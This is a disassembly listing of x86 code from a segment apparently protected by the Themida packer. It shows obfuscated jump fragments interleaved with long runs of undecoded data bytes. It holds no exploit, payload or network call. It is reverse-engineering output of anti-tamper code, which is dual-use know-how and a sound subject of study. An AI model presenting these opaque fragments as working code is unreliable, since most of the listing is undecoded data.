		dd 0D46115C2h, 6E592D0Fh, 0D0294165h, 656E5905h, 95685A41h
		dd 89000024h, 1C682434h, 89000078h, 86B82404h, 5523BB69h
		dd 8F4394BDh, 0AEBA522Eh, 13AB636h, 0EE895AD5h,	7BD2E95Dh
		dd 1C890000h, 0E9A6B724h, 2AB4h, 0E959CC88h, 0FFFFE5C6h
		dd 3304C283h, 14312414h, 24143324h, 2124248Bh, 0E99C2404h
		dd 0FFFFC765h, 92E95950h, 81000045h, 4ECh, 243C8900h, 0BA525F54h
		dd 4, 1836EF81h, 0D7017964h, 1836C781h,	835A7964h, 3C3304C7h
		dd 243C3124h, 8B243C33h, 0EC832424h, 242C8904h,	0A57455BDh
		dd 246C0133h, 242C8B04h, 4C481h, 2C810000h, 0D92BD124h
		dd 242C8107h, 1F587577h, 0E9240481h, 0E9694C26h, 8EA7h
		dd 3637B168h, 0B2E95E0Eh, 0AD000036h, 7984E9h
		db 0
; ---------------------------------------------------------------------------


loc_5574F9:				; CODE XREF: Themida_:0055A37Cj
		push	esi
		mov	esi, 46D60933h
		push	ebp
		mov	ebp, 58AB1D81h
		inc	ebp
		neg	ebp
		jmp	loc_55DFF0
; ---------------------------------------------------------------------------


loc_55750D:				; CODE XREF: Themida_:0055F319j
		add	esp, 4
		jmp	loc_55EA24
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E904C483h, 0FFFFCA51h
; ---------------------------------------------------------------------------


loc_557520:				; CODE XREF: Themida_:0055AD52j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_553BE5
; ---------------------------------------------------------------------------


loc_557529:				; CODE XREF: Themida_:0055CAA3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55B070
; ---------------------------------------------------------------------------
aHk2		db '\hŠ2',0
		align 10h
		dd 0FF243C89h, 5F042474h, 8B24048Fh, 34FF2424h,	2434FF24h
		dd 4EC8358h, 89241489h,	4BB53E2h, 1000000h, 0E9565BDAh
		dd 0FFFFE204h
; ---------------------------------------------------------------------------


loc_55756C:				; CODE XREF: Themida_:00554B70j
		pop	esp
		sub	ebx, 144D0D69h
		add	ebx, ecx
		add	ebx, 144D0D69h
		pop	ecx
		movzx	ax, byte ptr [eax]
		push	small 6D68h
		mov	[esp], ax
		jmp	loc_553BE5
; ---------------------------------------------------------------------------


loc_55758D:				; CODE XREF: Themida_:0055B7A1j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 692E33F1h
		sub	edi, ecx
		pop	ecx
		jmp	loc_558D52
; ---------------------------------------------------------------------------
		dd 8104C483h, 734B3AC3h, 2EC38143h, 0E905255Dh,	7971h
		dd 18B7ED81h, 0D0E95E7Dh, 0B000078h, 0E4840FC9h, 5400007Ch
		dd 0E92434FFh, 0FFFFFCD9h, 0C781F701h, 2B821A94h, 8124348Bh
		dd 4C4h, 4C78300h, 2474FF57h, 48F5F04h,	24248B24h, 0E99CC83Bh
		dd 0FFFFC5EDh, 592434FFh, 3104C483h, 0E28952C3h, 731FE9h
		dd 0E6685A00h, 0E900006Bh, 4783h
; ---------------------------------------------------------------------------


loc_557614:				; CODE XREF: Themida_:005558F3j
		pop	edi
		jmp	loc_558F6D
; ---------------------------------------------------------------------------
		dw 892Ch
		dd 8858C628h, 0C7E4E9F1h, 0EEC1FFFFh, 0B6E94E02h, 6800008Bh
		dd 4845h, 701EE9h, 348B5D00h, 4C48324h,	686DC681h, 0E9562A0Ch
		dd 3673h, 89241489h, 4EC83E2h, 0BE243489h, 1F0E7EFBh, 5204E6C1h
		dd 0C1221DBAh, 0E9D62118h, 7AC5h, 4BEh,	5EF50100h, 4ED81h
		dd 2C870000h, 6A5AE924h, 1C890000h, 4BB24h, 0C2810000h
		dd 6EC12D44h, 0E957DA01h, 0B67h, 0BABA525Dh, 1A0F8A4h
		dd 0DA11E9D3h, 5A54FFFFh, 0FFE4EDE9h, 662ABDFFh, 0EEB87E6Fh
		dd 29BDF195h, 0B0E95DE8h, 81000037h, 0EB7FB3EAh, 5AD5017Fh
		dd 2B951h, 0CD010000h, 242C3359h, 33242C31h, 665C242Ch
		dd 9C240421h, 0FFC500E9h, 2E4D05FFh, 79E92ED4h,	66FFFFE7h
		dd 66DE3B68h, 8324348Bh, 816602C4h, 66670FC6h, 8166DE29h
		dd 5B670FEEh, 66514666h, 5B0DE956h, 0E9520000h,	0FFFFDC0Fh
		dd 4C781h, 1E90000h, 5BFFFFE4h,	8B241487h, 0BE0F2424h
		dd 215B68C8h, 0C890000h, 0C4ABE924h, 0CFFFFFFh,	0A2E99C24h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557743:				; CODE XREF: Themida_:0055C492j
		mov	ebx, 7DD00AFCh
		and	ecx, ebx
		pop	ebx
		add	ecx, 25C87715h
		mov	ebp, ecx
		pop	ecx
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55CDBB
; ---------------------------------------------------------------------------
		db 81h
		dd 0DB1340CAh, 2241E918h, 2C5A0000h, 2CE104E4h,	0E9D82874h
		dd 6550h, 3473ED81h, 81455CAFh,	0D4ADD6F5h, 405DE9ACh
		dd 0E6880000h, 0BCE95866h, 81000006h, 4C4h, 76EFE900h
		dd 815D0000h, 8C240CE3h, 1AA3E943h, 0BA520000h,	35446903h
		dd 0FFE844E9h, 8012B1FFh, 0C180C5C9h, 80D9F660h, 882C6DC1h
		dd 8804C828h, 592434FFh, 2804C483h, 0B25251D8h,	52CDE98Dh
		dd 0C2890000h, 3A3DE958h, 77FF0000h, 0C3F3E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577F2:				; CODE XREF: Themida_:0055CD65j
		push	442Ch
		mov	[esp], esp
		jmp	loc_556980
; ---------------------------------------------------------------------------


loc_5577FF:				; CODE XREF: Themida_:0055F5DFj
		or	eax, eax
		jz	loc_55B688
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55AFF1
; ---------------------------------------------------------------------------


loc_557818:				; CODE XREF: Themida_:0055C2C7j
		push	eax
		mov	eax, 5A037A39h
		jmp	loc_55FDB1
; ---------------------------------------------------------------------------
		db 80h
		dd 0C1803AC1h, 6B65253h, 0C025CE80h, 0C68007EEh, 0E9CEFEEEh
		dd 0FFFFF057h, 57240C89h, 0F402BFBFh, 40BCE971h, 74FF0000h
		dd 8F580424h, 248B2404h, 4316624h, 86E99C24h, 83FFFFC3h
		dd 0D80004C4h, 3E0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_557869:				; CODE XREF: Themida_:0055C7DFj
		inc	edi
		and	edi, 2A5439D7h
		add	edi, 47AA5D67h
		add	edi, 0FFFFFFFFh
		jmp	loc_559794
; ---------------------------------------------------------------------------
		dd offset dword_51CC48+520h
		dw 8900h
a4Ys		db '<$¿¸4ìyé>+',0
		align 10h


loc_557890:				; CODE XREF: Themida_:0055BBB4j
		xchg	ebx, [esp]
		jmp	loc_556529
; ---------------------------------------------------------------------------
		dd 28A92C5Bh, 4A904D8h,	5253661Ch, 0B450F7B6h, 78EC8065h
		dd 6F1DE9h, 241C8700h, 0FA42E95Ch, 0C8BFFFFh, 4C48124h
		dd 8B000000h, 0C483242Ch, 0C2E98104h, 0C1308402h, 0E94104E9h
		dd 0FFFFEF0Ah, 0E924048Fh, 127Ah
; ---------------------------------------------------------------------------


loc_5578E0:				; CODE XREF: Themida_:0055F28Dj
		push	dword ptr [esp]
		jmp	loc_55FB29
; ---------------------------------------------------------------------------
		dd 0EF81D7F7h, 618D7434h, 15D2B951h, 0CF010A5Eh, 3AF78159h
		dd 4F7DCC59h, 0FFD1BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557905:				; CODE XREF: Themida_:0055D88Ej
		pop	edi
		xor	ecx, [esp]
		jmp	loc_556C26
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 0F1E9E901h, 0Ah, 0CB285AF3h, 0FFF236E9h, 0D3E68FFh
		dd 14890000h, 5BA7BA24h, 0C28102B8h, 2F3A0992h,	7D5EE9h
		dd 0BDBD5500h, 295CF91Ah, 0D3F75DEBh, 486C381h,	0DF89A958h
		dd 874DE95Bh, 0C4830000h, 4C28304h, 0E9241433h,	62A2h
		dd 0C27BE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55796A:				; CODE XREF: Themida_:00555C17j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	2C8h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5580DB
; ---------------------------------------------------------------------------
		dd 6B3268h, 24048900h, 0CE2E957h, 5AD0000h, 7C2D7AAEh
		dd 0FFF5B2E9h, 59CD01FFh, 0ED81FD29h, 7DC26582h, 5DE8015Fh
		dd 481968h, 240C8900h, 549BE9h,	994CBF00h, 7E2D87BCh, 154CE71h
		dd 717E05F8h, 895F54CEh, 24048BC3h, 815A5452h, 4C2h, 0BA525300h
		dd 644F57B8h, 0C6061BBh, 7C13E9D9h, 7C050000h, 0C162B020h
		dd 0E40D02E8h, 533CA04Bh, 8C619FBBh, 0CCEB810Dh, 13C5FB6h
		dd 0C2815BD8h, 1AEB348Bh, 7033E9h, 0C7815F00h, 4, 0FFCA50E9h
		dd 4C781FFh, 81000000h,	2EFh, 68D1E900h, 72B20000h, 4EC81h
		dd 4890000h, 323CE924h,	23040000h, 8159EA2Ch, 4ECh, 24148900h
		dd 65F9E9h, 28E8B100h, 6DA2E9C8h, 56520000h, 0DD7C89BEh
		dd 4426E920h, 34FF0000h, 0C4835D24h, 85B85004h,	4855D13Ah
		dd 7F2D4048h, 313520A3h, 0F82958C7h, 56243C8Bh,	0C681E689h
		dd 4, 8704C683h, 0E95C2434h, 3C1Dh, 4C181h, 0BF570000h
		dd 4, 2436E981h, 0E9816682h, 1C97F20h, 5E96E9h,	48F5F00h
		dd 14895C24h, 6AA1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557AD2:				; CODE XREF: Themida_:0055EE07j
		add	[esp+4], eax
		sub	dword ptr [esp+4], 3059405Dh
		pop	eax
		mov	eax, [esp]
		jmp	loc_55AA93
; ---------------------------------------------------------------------------
		db 29h
		dd 24148BD0h, 5504C483h, 3F44B5BDh, 5DE80144h, 0F468D829h
		dd 8900000Dh, 0B5B9240Ch, 0E9443F44h, 9FEh, 0C4E9EB01h
		dd 0BFFFFFEFh, 4, 875FFD01h, 835C242Ch,	2C8904ECh, 0FDE95424h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B2B:				; CODE XREF: Themida_:005596BEj
		push	dx
		push	ebx
		mov	bl, 0C7h
		jmp	loc_55AAC8
; ---------------------------------------------------------------------------


loc_557B35:				; CODE XREF: Themida_:0055BE49j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_558272
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 4Dh
		dd 0E96A7165h, 1602h, 0E95BDE88h, 465Fh, 0E924248Bh, 7715h
; ---------------------------------------------------------------------------


loc_557B64:				; CODE XREF: Themida_:0055F363j
		pop	esi
		popa
		jmp	loc_55AA14
; ---------------------------------------------------------------------------
		db 52h
		dd 0F6BE9h, 0C06FE900h,	1431FFFFh, 24143324h, 0C885665Ch
		dd 0C05FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B86:				; CODE XREF: Themida_:00559DE1j
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, 1EE25BC5h
		jmp	loc_5590E5
; ---------------------------------------------------------------------------
		dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	0CBE95C24h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557BAF:				; CODE XREF: Themida_:0055A977j
		xchg	esi, [esp]
		pop	esp


loc_557BB3:				; CODE XREF: Themida_:0055A102j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_55E1C0
; ---------------------------------------------------------------------------
		dd 80EBC180h, 0CC8861E9h, 0F3C48059h, 0E953DCF6h, 0C6Fh
		dd 6326BE56h, 0DCBB7BF4h, 81840B9Ch, 750B20EBh,	81F30141h
		dd 750B20C3h, 0D9015E41h, 5B2434FFh, 81E38953h,	4C3h, 4C38300h
		dd 5C241C87h, 5C240C87h, 57F1F766h, 8153E789h, 4ECh, 1731E900h
		dd 54510000h, 4BD5559h,	0E9000000h, 4484h, 74FF525Dh, 148B0424h
		dd 4C48124h, 8F000000h,	0D25C2404h, 0E99C240Ch,	0FFFFBF99h
		dd 0DAE9CE01h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C53:				; CODE XREF: Themida_:0055A8A2j
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_55EBF8
; ---------------------------------------------------------------------------
		dw 25B4h
		dd 0E0E9FBB6h, 0BF000024h, 49B67CA6h, 7E5EEF81h, 3EE9031Dh
		dd 8B000028h, 0A5E92414h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C8B:				; CODE XREF: Themida_:00559C18j
		mov	ecx, [esp]
		jmp	loc_55B81D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C24048Fh, 4EC81h, 14890000h, 1B7BE924h, 0F0280000h
		dd 4F8285Ah, 241C8B4Fh,	4C481h,	54500000h, 40558h, 0E9520000h
		dd 7239h
; ---------------------------------------------------------------------------


loc_557CC4:				; CODE XREF: Themida_:0055D814j
		not	ebp
		jmp	loc_55B745
; ---------------------------------------------------------------------------
		db 0FFh
a4Yvsd0		db '4$YVéD0',0
		dd 24143300h, 2824248Bh, 0E99C2404h, 5732h, 67AFBA52h
		dd 0F2815E9Bh, 46FB174Eh, 0EAC1DAF7h, 564A4A03h, 1A1077BEh
		dd 7EEC138h, 0E904E6C1h, 0FFFFF330h
; ---------------------------------------------------------------------------


loc_557D08:				; CODE XREF: Themida_:0055F117j
		pop	ebx
		sub	ebx, 2816246Fh
		pop	ebp
		and	eax, ebx
		jmp	loc_55848D
; ---------------------------------------------------------------------------
		db 66h
		dd 5866C501h, 0DCE6E957h, 0E9ACFFFFh, 0FFFFC11Ah, 8758C101h
		dd 0B5C240Ch, 0C6840FC0h, 5300003Fh, 14B2B850h,	24050076h
		dd 0F71ADE55h, 930548D8h, 0D7C5177h, 401308B2h,	2414F750h
		dd 18563558h, 0E9357AC2h, 50E5C2EAh, 71243481h,	0E944563Eh
		dd 0FFFFEC52h, 4C681h, 0C6830000h, 3606E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D7A:				; CODE XREF: Themida_:00556CBEj
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5572F4
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 3CC0h, 0E9B3C180h, 37F8h, 5655E6BBh, 245C2930h
		dd 2434FF04h, 6F6CE9h, 24248B00h, 0FFD80FE9h, 22DFFh, 7FE90000h
		dd 81000070h, 763AF5F5h, 0FBED810Bh, 53032D0Eh,	486F24BBh
		dd 81D3F75Ch, 0B91E76C3h, 43DBF703h, 38FBC381h,	0B8507636h
		dd 8CEF9934h, 0E958C331h, 0C39h, 0F6DFE480h, 53D4F6DCh
		dd 0D3F65FB3h, 577BE9h,	67BD5500h, 0E930773Ch, 2BCh, 45AD028h
		dd 2CD828BFh, 65BEE9BFh, 0E0C00000h, 0F61A2C04h, 798CE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557E22:				; CODE XREF: Themida_:0055F631j
		inc	ebx
		jmp	loc_55D968
; ---------------------------------------------------------------------------
		dd 0B218F7B8h, 58C2314Dh, 0FFF5DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557E35:				; CODE XREF: Themida_:00558054j
		pop	eax
		sub	esp, 4
		jmp	loc_55EFF9
; ---------------------------------------------------------------------------
		dw 0EC80h
		dd 66C48064h, 0EC80F428h, 64C48066h, 8BE5285Ah,	25E92404h
		dd 80000077h, 0A4E961C6h, 87FFFFE6h, 5C2414h, 1B59E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557E6A:				; CODE XREF: Themida_:005580E3j
		mov	[esp], ebp
		jmp	loc_55AC4D
; ---------------------------------------------------------------------------


loc_557E72:				; CODE XREF: Themida_:0055837Ej
		shl	eax, cl
		push	edx
		mov	edx, 1
		jmp	loc_55C55D
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 148B5424h, 0E6895624h, 4C681h, 0E5E90000h
		dd 83000054h, 348904ECh, 19FEBE24h, 0C6815E6Dh,	262A6A52h
		dd 8107EEC1h, 0B0567FEEh, 0BCF6811Fh, 8121896Fh, 0F7F341F6h
		dd 5EF02990h, 67CCE957h, 68520000h, 443Eh, 52241C89h, 56B7CEB6h
		dd 0D9E9F700h, 5DFFFFF3h, 0FFD4A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557EE1:				; CODE XREF: Themida_:0055CDC9j
		push	ebx
		mov	ebx, 1
		add	ebp, ebx
		pop	ebx
		push	ecx
		jmp	loc_557341
; ---------------------------------------------------------------------------
		dd 8704EB83h, 895C241Ch, 0E6E92404h, 68FFFFBCh,	0EBCh
		dd 81242489h, 42404h, 0CDE90000h, 8100007Ch, 4C2h, 4C28100h
		dd 87000000h, 0F4E92414h, 68FFFFD3h, 0Ch, 332EE9h
		db 0
; ---------------------------------------------------------------------------


loc_557F31:				; CODE XREF: Themida_:0055B4FDj
		push	esi
		mov	esi, 196B582Fh
		add	ebx, esi
		pop	esi
		add	ebx, 0DD8847D2h
		add	ecx, ebx
		pop	ebx
		jmp	loc_556064
; ---------------------------------------------------------------------------
		dd 0FFBC98E9h, 1E959FFh
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557F53:				; CODE XREF: Themida_:005592C9j
		sub	al, bl
		jmp	loc_55D49C
; ---------------------------------------------------------------------------
		dw 3768h
		dd 0E9000005h, 67A7h, 68241C89h, 4361h,	0E9241489h, 99Ch
		dd 15FF829h, 2434FFC1h,	4C48358h, 5C240C87h, 2387C381h
		dd 0C3294DFBh, 2387EB81h, 0EB814DFBh, 12A81A90h, 24148B66h
		dd 81E38953h, 4C3h, 36E9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557FAA:				; CODE XREF: Themida_:005571F7j
		mov	edi, 0DC31115h
		sub	esp, 4
		mov	[esp], edi
		xchg	esi, [esp]
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	[esp], esi
		jmp	loc_55D64E
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EFh
		dd 0B40700h, 0FF5FF821h, 4811C77h, 9F01A924h, 240C8B2Ah
		dd 0E9585450h, 2781h, 268h, 0FD015F00h,	242C875Fh, 2404205Ch
		dd 0BBEBE99Ch, 4D0DFFFFh, 50500236h, 582414F7h,	1C87E9h
		dd 4C48300h, 2434FF5Ah,	16E26858h, 14890000h, 292B6824h
		dd 8F540000h, 4832404h,	515A0424h, 775E95B9h, 7E1C140h
		dd 4A7CE981h, 0C2813BAFh, 200279BCh, 43FDE9h, 93CE8100h
		dd 0F73DF64Eh, 2494E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55804E:				; CODE XREF: Themida_:0055B208j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_557E35
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 59h
		dd 89DC0627h, 0C2015FF8h, 33EA8158h, 12E8C2Fh, 0E2A1E9F2h
		dd 5666FFFFh, 1BD36866h, 0ABE95E66h, 33000030h,	248B2404h
		dd 0BB5BE924h, 0E958FFFFh, 0FFFFDE1Ch, 405E089h, 83000000h
		dd 48704C0h, 1D22E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5580A2:				; CODE XREF: Themida_:0055E4EAj
		add	eax, 47674CCEh
		add	eax, esi
		push	edx
		mov	edx, 4AF9637Bh
		dec	edx
		or	edx, 4B874CA8h
		inc	edx
		jmp	loc_55D05D
; ---------------------------------------------------------------------------
		dd 0E9240489h, 718h, 315DEB01h,	0BB17E9C2h, 0F5BDFFFFh
		dd 316BFA38h, 7FE95DEBh
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5580DB:				; CODE XREF: Themida_:0055798Fj
		mov	esp, [esp]
		push	46BCh
		jmp	loc_557E6A
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFBAF5h
; ---------------------------------------------------------------------------


loc_5580F0:				; CODE XREF: Themida_:0055C523j
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_55FAB1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFF635E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558105:				; CODE XREF: Themida_:00555562j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55F636
; ---------------------------------------------------------------------------


loc_558128:				; CODE XREF: Themida_:00558173j
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0C7E90000h, 8900004Ch, 0ADE92424h, 28000043h, 32C380C3h
		dd 76D1E9h, 6A43BF00h, 0F831456Ah, 592C2D5Fh, 0C28144EBh
		dd 190D4FE7h, 0EA81C201h, 190D4FE7h, 0E982E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55816A:				; CODE XREF: Themida_:00553D50j
		sub	edx, 4
		jmp	loc_5570C3
; ---------------------------------------------------------------------------


loc_558172:				; CODE XREF: Themida_:0055BD5Aj
		pop	edx
		jmp	loc_558128
; ---------------------------------------------------------------------------
aH1		db ')Ãh¸1',0
		dw 8900h
		dd 67B9240Ch, 5013C82Eh, 0F51FE955h, 159FFFFh, 8B04244Ch
		dd 0C481240Ch, 4, 81242C8Bh, 4C4h, 0F6E95000h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5581AB:				; CODE XREF: Themida_:0056008Dj
		push	4F57h
		jmp	loc_55C252
; ---------------------------------------------------------------------------
		db 68h,	0AEh, 19h
		dd 4890000h, 0C1BD5524h, 0E9320232h, 0FFFFBCD4h
; ---------------------------------------------------------------------------


loc_5581C8:				; CODE XREF: Themida_:00559935j
		xor	ecx, ebx
		pop	ebx
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5555C8
; ---------------------------------------------------------------------------
		db 89h
		dd 4AE9241Ch, 0BFFFFFF1h, 7C627A42h, 333BC781h,	0C781662Eh
		dd 59758988h, 0E5E9FE09h, 53000073h, 577930BBh,	0E9E3D114h
		dd 5A22h, 34FFCB01h, 0C3E95924h, 45FFFFE9h, 0B7E581h, 0BE566859h
		dd 44C34631h, 2005EE81h, 0E68125E1h, 604E6EB9h,	3C37EE81h
		dd 814E01D6h, 0A37D07C6h, 5EF53111h, 815DEB29h,	674D32C3h
		dd 5BF8E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55824E:				; CODE XREF: Themida_:0055F156j
		not	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, 1E9B5EF0h
		xor	edx, 232C5619h
		add	edx, 3E9F07C2h
		sub	ebx, edx
		pop	edx
		xor	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55C0E2
; ---------------------------------------------------------------------------


loc_558272:				; CODE XREF: Themida_:00557B44j
		mov	[esp], edi
		push	esi
		jmp	loc_55C39C
; ---------------------------------------------------------------------------
		db 59h
		dd 1C7BE9h
		db 0
; ---------------------------------------------------------------------------


loc_558281:				; CODE XREF: Themida_:0055D94Fj
		add	eax, 43712133h
		add	eax, edi
		sub	eax, 43712133h
		jmp	loc_55722D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 36CEE9h, 1F516800h, 3C890000h, 0B94BE924h, 5356FFFFh
		dd 28E5E9h, 4EC8100h, 89000000h, 0E588240Ch, 6A5CE9h, 0BE585C00h
		dd 0EA022F15h, 315FFE29h, 2434FFF0h, 0F2CAE95Eh, 8B66FFFFh
		dd 0C4812404h, 2, 0E95BD828h, 0FFFFD727h, 0E9DE0158h, 0FFFFD756h
		dd 8005E3C0h, 0DA885EEBh, 0F2805B66h, 23D1E99Ch, 6CBE0000h
		dd 68767077h, 76707770h, 0E9F2295Ah, 7C8Bh, 89240C89h
		dd 3C8EE9E1h, 77FF0000h, 58669D1Ch, 9C240410h, 0FFB8B8E9h
		dd 7CCD68FFh, 2C890000h, 0FBE95724h, 3300004Bh,	16E92404h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558343:				; CODE XREF: Themida_:0055EC58j
		add	eax, 4
		push	eax
		jmp	loc_55ABC2
; ---------------------------------------------------------------------------
		dd 835EF201h, 143302C2h, 24143124h, 5C241433h, 24048B66h
		dd 525F5457h, 666CE956h, 0E9810000h, 3C6A2C5Ch,	57EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_558375:				; CODE XREF: Themida_:0055A087j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557E72
; ---------------------------------------------------------------------------


loc_558383:				; CODE XREF: Themida_:00558A0Ej
		pop	esi
		inc	esi
		xchg	esi, edi
		jmp	loc_55BC3F
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4B951h, 0CD010000h, 592434FFh, 8704C483h
		dd 815C242Ch, 735B54EBh, 0E7895772h, 4C781h, 0EF810000h
		dd 4, 3E86E9h, 24043300h, 33240431h, 248B2404h,	8CBB5324h
		dd 6837F03Ah, 53D3h, 0E9240C89h, 7003h
; ---------------------------------------------------------------------------


loc_5583E0:				; CODE XREF: Themida_:0055FF22j
		pop	ecx
		sub	ecx, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_559805
; ---------------------------------------------------------------------------
		dd 4BBh, 0BD1EE900h, 2489FFFFh,	4685124h, 0E9000000h, 0FFFFFD82h
		dd 0CD38E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558412:				; CODE XREF: Themida_:00557197j
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_55B795
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aTxhH		db 'TXh±h',0
		dw 0E900h
		dd 7D99h
; ---------------------------------------------------------------------------


loc_55843C:				; CODE XREF: Themida_:0055565Dj
		add	ecx, 4
		jmp	loc_559D97
; ---------------------------------------------------------------------------
		db 31h
		dd 0E8315AD5h, 0BA7AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558452:				; CODE XREF: Themida_:0055DD9Dj
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4D6A15E4h
		jmp	loc_55D893
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 5Ah
		dd 81261E6Eh, 0C23B3DF5h, 0CD814517h, 6497241Bh, 0FFDF45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55848D:				; CODE XREF: Themida_:00557D12j
		pop	ebx
		jmp	loc_559F9A
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 0FFBB94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55849D:				; CODE XREF: Themida_:0055DC5Ej
		not	edx
		add	edx, 7EA58F90h
		jmp	loc_55A5BA
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 0E92434FFh, 0FFFFD17Dh, 8244C29h,	246C8159h
		dd 7A04FC04h, 1AE9592Dh
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5584CB:				; CODE XREF: Themida_:005592A1j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	5BB7h
		mov	[esp], eax
		jmp	loc_55F284
; ---------------------------------------------------------------------------
		dd 8B04C483h, 89522434h, 4C281E2h, 81000000h, 4C2h, 0F34E900h
		dd 0BE680000h, 8900003Bh, 0F9BD242Ch, 29483068h, 0C8295DE8h
		dd 3068F905h, 0F2E95948h, 80000029h, 0E95BF2C1h, 6CCEh
; ---------------------------------------------------------------------------


loc_558530:				; CODE XREF: Themida_:0055440Bj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55E445
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 54242C89h, 0FFF63FE9h, 240483FFh, 0B4685804h
		dd 89000058h, 4BA2414h,	51000000h, 351848B9h, 4DC52D73h
		dd 0C80148A8h, 0A84DC505h, 240C8B48h, 0FFBE0AE9h, 43CD81FFh
		dd 0E90AB22Fh, 6B90h
; ---------------------------------------------------------------------------


loc_55858C:				; CODE XREF: Themida_:0055C4DFj
		push	edx
		jmp	loc_55A0EE
; ---------------------------------------------------------------------------
		dw 0C89h
aA_1		db '$µ €Å',7,0
aSsp		db 'èé¯[',0
		dd 4B800h, 0C5010000h, 8324048Bh, 0BB5304C4h, 2, 875BDD01h
		dd 535C242Ch, 0BBh, 0EDBCE900h
